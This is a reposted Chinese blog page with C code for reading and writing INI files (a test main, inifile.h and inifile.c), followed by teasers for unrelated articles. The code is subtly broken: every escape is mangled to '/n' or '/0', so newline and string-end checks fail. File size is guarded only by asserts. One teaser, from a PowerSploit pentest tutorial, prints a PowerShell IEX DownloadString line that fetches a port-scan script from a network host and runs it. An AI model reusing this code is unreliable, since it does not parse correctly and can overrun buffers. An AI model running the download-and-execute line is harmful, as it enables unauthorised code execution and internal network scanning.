C读写ini文件

/*
read/write ini file with c function
@file testini.c
chinayaosir
blog:    http://blog.csdn.net/chinayaosir
connect.ini
[database]
此程序有些BUG
当ini文件不存在时,第一次建立connect.ini文件时,
在[database]前面会多一个空格.
*/
#include  "stdio.h"
#include  "inifile.h"
#define  BUF_SIZE 256


int  main()
{
    const char  * file = "connect.ini";  
    char  severname[BUF_SIZE] = {0};
    int   port=0;

    printf( "1. write/read ini file testting .../n" );   
    
    printf( "2. write data into ini file.../n" );
    
    if (! write_profile_string("database", "sever" , "192.168.1.2",file))
        
    {    printf( "2.1 server write %s file fail/n",file );    }
     else
    {
        printf( "2.1 server write %s file ok/n",file );
    }
    if (! write_profile_string("database", "port" , "5000",file))
    {    printf( "2.2 port write %s file fail/n",file );    }
     else
    {
        printf( "2.2 port write %s file ok/n",file );
    }

    printf( "3. read data from ini file.../n" );

    if ( ! read_profile_string("database", "sever", severname,BUF_SIZE,file))
        {   printf( "3.1 sever read  %s file fail/n",file );    }
    else
        {    printf( "3.1 sever = %s/n" ,severname);}

    if ( ! read_profile_int("database", "port", port,file))
        {   printf( "3.2 port read %s file fail/n",file );  }
    else
    {    port=read_profile_int("database", "port", port,file);    
        printf( "3.2 port = %d/n" ,port);
    }    

     return   0 ;

}

/*
run value:
1. write/read ini file testting ...
2. write data into ini file...
2.1 server write connect.ini file ok
2.2 port write connect.ini file ok
3. read data from ini file...
3.1 sever = 192.168.1.2
3.2 port = 5000
*/

/
/* *
*@file        inifile.h
*@cpright     (C)2007 GEC
*@auther      dengyangjun
*@email       dyj057@gmail.com
*@version     0.1
*@create      2007-1-14
*@modify      2007-1-14
*@brief       declare ini file operation
*@note
*@history   
*/

#ifndef INI_FILE_H_
#define  INI_FILE_H_

#ifdef __cplusplus
extern   " C "
{
#endif

int  read_profile_string(const char * section,const char * key,char * value,int  size,const char * file);
int  read_profile_int( const   char * section,const char * key, int default_value,const char * file);
int  write_profile_string(const char   * section,const char * key,const  char * value,  const char * file);

#ifdef __cplusplus
};  // end of extern "C" {
#endif

#endif   // end of INI_FILE_H_

//
/* *
*@file          inifile.c
*@cpright       (C)2007 GEC
*@auther        dengyangjun
*@email         dyj057@gmail.com
*@version       0.1
*@create        2007-1-14
*@modify        2007-1-14
*@brief         implement ini file operation
*@note
*@history   
*/
#include  <stdio.h>
#include  <stdlib.h>
#include  <assert.h>
#include  <string.h>
#include  <ctype.h>

#include  "inifile.h"

#ifdef __cplusplus
extern   " C "
{
#endif

#define  MAX_FILE_SIZE 8096

#define  LEFT_BRACE '['
#define  RIGHT_BRACE ']'

static int load_ini_file(const  char * file,  char * buf, int * file_size)
{
    int  i = 0 ;
    FILE  * in = NULL;
    *file_size = 0 ;
    assert(file  != NULL);
    assert(buf  != NULL);

    in   =  fopen(file, "r" );
    if ( NULL  == in ) {
         return   0 ;
    }

     // load initialization file
     while ((buf[i] = fgetc(in)) != EOF) {
        i ++ ;
        assert( i < MAX_FILE_SIZE);  // file too big
    }
   
    buf[i] = '/0' ;
    *file_size  =  i;

    fclose(in);
    return   1 ;
}

/*
*<summary></summary>
* <returns>Result of the addtion(int)</returns>
* <param name="x"></param>
* <param name="y"></param>
*/

static  int isnewline( char  c)
{
     return  ( '/n'   ==  c  ||    '/r'   ==  c ) ?  1  :  0 ;
}
static   int  isend( char  c)
{
     return   '/0' == c ?  1  :  0 ;
}
static   int  isleftbarce( char  c)
{
     return  LEFT_BRACE  ==  c ?   1  :  0 ;
}
static   int  isrightbrace( char  c )
{
     return  RIGHT_BRACE  ==  c ?   1  :  0 ;
}

static  int  parse_file(const   char   * section, 
                        const   char   * key, 
                        const   char   * buf,
                        int   * sec_s,
                        int   * sec_e,
                        int   * key_s,
                        int   * key_e, 
                        int   * value_s, 
                        int   * value_e)
{
     const   char   * p  =  buf;
     int  i = 0 ;

    assert(buf != NULL);
    assert(section  !=  NULL  &&  strlen(section));
    assert(key  !=  NULL  &&  strlen(key));

     * sec_e  =   * sec_s  =   * key_e  =   * key_s  =   * value_s  =   * value_e  =   - 1 ;

     while (  ! isend(p[i]) )
    {
         // find the section
         if ( (  0 == i  ||   isnewline(p[i - 1 ]) )  &&  isleftbarce(p[i]) )
        {
             int  section_start = i + 1 ;

             // find the ']'
             do
            {
                i ++ ;
            } while (  ! isrightbrace(p[i])  &&   ! isend(p[i]));

             if (  0   ==  strncmp(p + section_start,section, i - section_start))
            {
                 int  newline_start = 0 ;

                i ++ ;

                 // Skip over space char after ']'
                 while (isspace(p[i]))
                {
                    i ++ ;
                }

                 // find the section
                 * sec_s  =  section_start;
                 * sec_e  =  i;

                 while (  !  (isnewline(p[i - 1 ])  &&  isleftbarce(p[i]))  &&   ! isend(p[i]) )
                {
                     int  j = 0 ;
                     // get a new line
                    newline_start  =  i;

                     while (  ! isnewline(p[i])  &&    ! isend(p[i]) )
                    {
                        i ++ ;
                    }
                     // now i  is equal to end of the line

                    j = newline_start;

                     if ( ';'   !=  p[j])  // skip over comment
                    {
                         while (j  <  i  &&  p[j] != '=' )
                        {
                            j ++ ;
                             if ( '='   ==  p[j])
                            {
                                 if (strncmp(key,p + newline_start,j - newline_start) == 0 )
                                {
                                     // find the key ok
                                     * key_s  =  newline_start;
                                     * key_e  =  j - 1 ;

                                     * value_s  =  j + 1 ;
                                     * value_e  =  i;

                                     return   1 ;
                                }
                            }
                        }
                    }

                    i ++ ;
                }
            }
        }
         else
        {
            i ++ ;
        }
    }
     return   0 ;
}

/* *
* @brief read_profile_string <d>retrieves a string from the specified section in an initialization file.
* @param section  <t>const char * <in> <d>name of the section containing the key name.
* @param key  <t>const char *  <in><d>the name of the key whose associated string is to be retrieved.
* @param value <t>char * <out><d>pointer to the buffer that receives the retrieved string.     
* @return <t>int  <n>1 : read success; 0 : read fail.
*/      
int  read_profile_string(
                         const   char   * section, 
                         const   char   * key,
                         char   * value,  
                         int  size, 
                         const   char   * file)
{
     char  buf[MAX_FILE_SIZE] = { 0 };
     int  file_size;
     int  sec_s,sec_e,key_s,key_e, value_s, value_e;

     // check parameters
    assert(section  !=  NULL  &&  strlen(section));
    assert(key  !=  NULL  &&  strlen(key));
    assert(value  !=  NULL);
    assert(size  >   0 );
    assert(file  != NULL  && strlen(key));

     if (  ! load_ini_file(file,buf, & file_size))
         return   0 ;

     if ( ! parse_file(section,key,buf, & sec_s, & sec_e, & key_s, & key_e, & value_s, & value_e))
    {
         return   0 ;  // not find the key
    }
     else
    {
         int  cpcount  =  value_e  - value_s;

         if ( size - 1   <  cpcount)
        {
            cpcount  =   size - 1 ;
        }
   
        memset(value,  0 , size);
        memcpy(value,buf + value_s, cpcount );
        value[cpcount]  =   '/0' ;

         return   1 ;
    }
}


int  read_profile_int(const  char *section,
                      const  char  *key,
                      int default_value, 
                      const char *file)
{
     char  value[ 32 ]  =  { 0 };
     if ( ! read_profile_string(section,key,value,  sizeof (value),file))
    {
         return  default_value;
    }
     else
    {
         return  atoi(value);
    }
}

int  write_profile_string(const   char   * section, 
                          const   char   * key,
                          const   char   * value, 
                          const   char   * file)
{
     char  buf[MAX_FILE_SIZE] = { 0 };
     char  w_buf[MAX_FILE_SIZE] = { 0 };
     int  sec_s,sec_e,key_s,key_e, value_s, value_e;
     int  value_len  =  ( int )strlen(value);
     int  file_size;
     FILE  * out ;

     // check parameters
    assert(section  !=  NULL  &&  strlen(section));
    assert(key  !=  NULL  &&  strlen(key));
    assert(value  !=  NULL);
    assert(file  != NULL  && strlen(key));

     if (!load_ini_file(file,buf, & file_size))
    {
        sec_s  =   - 1 ;
    }
     else
    {
        parse_file(section,key,buf, & sec_s, & sec_e, & key_s, & key_e, & value_s, & value_e);
    }

     if (  - 1   ==  sec_s)
    {
       
         if ( 0 == file_size)
        {
            sprintf(w_buf + file_size, " [%s]/n%s=%s/n" ,section,key,value);
        }
         else
        {
             // not find the section, then add the new section at end of the file
            memcpy(w_buf,buf,file_size);
            sprintf(w_buf + file_size, "/n[%s]/n%s=%s/n" ,section,key,value);
        }
       
       
    }
     else   if ( - 1   ==  key_s)
    {
         // not find the key, then add the new key & value at end of the section
        memcpy(w_buf,buf,sec_e);
        sprintf(w_buf + sec_e, "%s=%s/n" ,key,value);
        sprintf(w_buf + sec_e + strlen(key) + strlen(value) + 2 ,buf + sec_e, file_size  -  sec_e);
    }
     else
    {
         // update value with new value
        memcpy(w_buf,buf,value_s);
        memcpy(w_buf + value_s,value, value_len);
        memcpy(w_buf + value_s + value_len, buf + value_e, file_size  -  value_e);
    }
   
     out   =  fopen(file, "w" );
     if (NULL  ==   out )
    {
         return   0 ;
    }
   
     if ( - 1   ==  fputs(w_buf, out ) )
    {
        fclose( out );
         return   0 ;
    }

    fclose( out );
   
     return   1 ;
}


#ifdef __cplusplus
};  // end of extern "C" {
#endif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/449598.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

包含天,时,分,秒的倒计时

这个很基础的东西写的过程中出了很多小的错误&#xff0c;在此记录一下。 原生的js。 结构&#xff1a; <p id"time"></p> js: <script>  var start new Date().getTime(); // 获取开始时间  var end new Dat…

计算相关度

# 使用numpy import numpy as np R [0.01, 0.05, 0.02, -0.03] var1 np.var(R) std1 np.std(R) # # 使用pandas import pandas as pd R pd.Series([0.01, 0.05, 0.02, -0.03]) var2 R.var() std2 R.std() import pandas as pd import tushare as ts pro ts.pro_api() w…

如何使用Dockerfile构建镜像

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 Dockfile是一种被Docker程序解释的脚本&#xff0c;Dockerfile由一条一条的指令组成&#xff0c;每条指令对应Linux下面的一条命令。Doc…

今时今日,C还适合当下之所需么?

本文来源于我在InfoQ中文站翻译的文章&#xff0c;原文地址是&#xff1a;http://www.infoq.com/cn/news/2013/01/C-Language 来自Couchbase的Damien Katz认为C依然是非常适合于后端编程的一门语言&#xff0c;然而有的开发者则觉得C有太多的瑕疵&#xff0c;他们支持C或是Java…

《吴军.科技史纲60讲》摘录

本文由Markdown语法编辑器编辑完成&#xff0e; 《科技史纲60讲》是吴军老师最新开设的专栏名称&#xff0c;该专栏主要是讲解人类文明和科技发展史。吴军老师在专栏的发刊词《历史总在重演&#xff0c;科技永远向前》中提到&#xff0c;能量和信息是贯穿人类文明发展的两条线索…

API Gateway——KONG简单入门

一、简介 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 Kong&#xff0c;是由Mashape公司开源的&#xff0c;基于Nginx的API gateway。 二、特点 可扩展&#xff1a;支持分布式 模块化…

小程序 公众号/h5相互跳转-webview

小程序与h5的跳转 前提小程序管理后台配置域名白名单&#xff0c;并且h5页面是嵌在小程序里面&#xff08;相互跳的前提条件&#xff09; 在业务域名中设置好访问的h5地址 微信官方web-view 介绍地址 https://developers.weixin.qq.com/miniprogram/dev/component/web-view.ht…

十、eclipse快捷键大全

eclipse快捷键大全转载于:https://www.cnblogs.com/zheaven/p/10541531.html

如何保证代码的高质量?

代码的高质量是软件的灵魂&#xff0c;代码 数据结构 算法&#xff0c; 而高质量的代码 优良的变量、函数命名 优良的代码结构、代码层次结构 数据结构 算法。 时时刻刻想这上面的四点&#xff0c;你的代码就会渐渐的上新台阶&#xff0c;老板不给你加工资还…

centos6.5 安装 kong 网关

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 最近要求了解下kong网关&#xff0c;然后在网上一顿找&#xff0c;说实话&#xff0c;度娘的力量还是不行啊&#xff0c;找出来的那些跟…

lucene学习的小结

pom.xml设置 <dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency><dependency><groupId>org.apache.lucene</groupId&…

并行计算的专访

摘要&#xff1a;社区之星第9期采访的嘉宾是香港浸会大学计算机在读博士、浪潮高性能计算顾问赵开勇。此次他为我们揭开了高性能计算的神秘面纱&#xff0c;为读者讲解自己的经验心得。并且他认为基于移动设备的高性能计算将会成为未来潮流&#xff0c;低功耗、高性能也将成为一…

CentOS6.5 搭建 LNMP (linux + nginx + mysql + php)

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 1&#xff1a;查看环境&#xff1a; 12[root10-4-14-168 html]# cat /etc/redhat-releaseCentOS release 6.5 (Final)2&#xff1a;关掉…

正睿2019省选附加赛 Day10 (这篇其实已经都咕咕了...)

目录 2019.3.13A.算算算(二项式定理 斯特林数)B.买买买C.树树树2019.3.13比赛链接 A.算算算(二项式定理 斯特林数) 题目链接 \(x^k\)可以用二项式定理展开&#xff0c;需要维护的就是\(0\sim k\)次方的\(\sum_{j}F(j,i)\)。加入一个数时&#xff0c;每一项都要再用一遍二项式定…

freemarker 从 spring boot execute jar可执行jar中访问模板文件

2019独角兽企业重金招聘Python工程师标准>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目录try {String pathPrefix "/";// 为了支持能从execute jar 中获取模板文件URI uri C…

获取所有股票数据

#%%#先引入后面可能用到的包&#xff08;package&#xff09; import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set() %matplotlib inline #正常显示画图时出现的中文和负号 from pylab import mpl mpl.rcParams[font.…

POWERSPLOIT-Recon(信息侦察)脚本渗透实战

Recon(信息侦察)模块 a) 调用invoke-Portscan扫描内网主机的端口。 1&#xff09;通过IEX下载并调用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

股票代码前面为0,补齐6位数

df[code] df[code].apply(lambda x:str(x).zfill(6))

在CentOS 6上搭建LNMP环境

简介LNMP是Linux、Nginx、MySQL和PHP的缩写&#xff0c;这个组合是最常见的WEB服务器的运行环境之一。本文将带领大家在CentOS 6操作系统上搭建一套LNMP环境。 本教程适用于CentOS 6.x版本。 在安装LNMP环境之前&#xff0c;您需要先对CentOS操作系统做一些初始化的工作&#x…

前端技术周刊 2019-01-21:跨端开发的三条路线

2019-01-21 前端快爆 微软 Edge 开发者意图为 Chrome 实现 HTML Modules&#xff0c;该规范用来替代之前的 HTML Imports。其优点是基于 ES Modules&#xff0c;可以避免全局对象污染、脚本解析阻塞等问题。?点评&#xff1a;举报&#xff0c;有人在「秀恩爱」&#xff01; &l…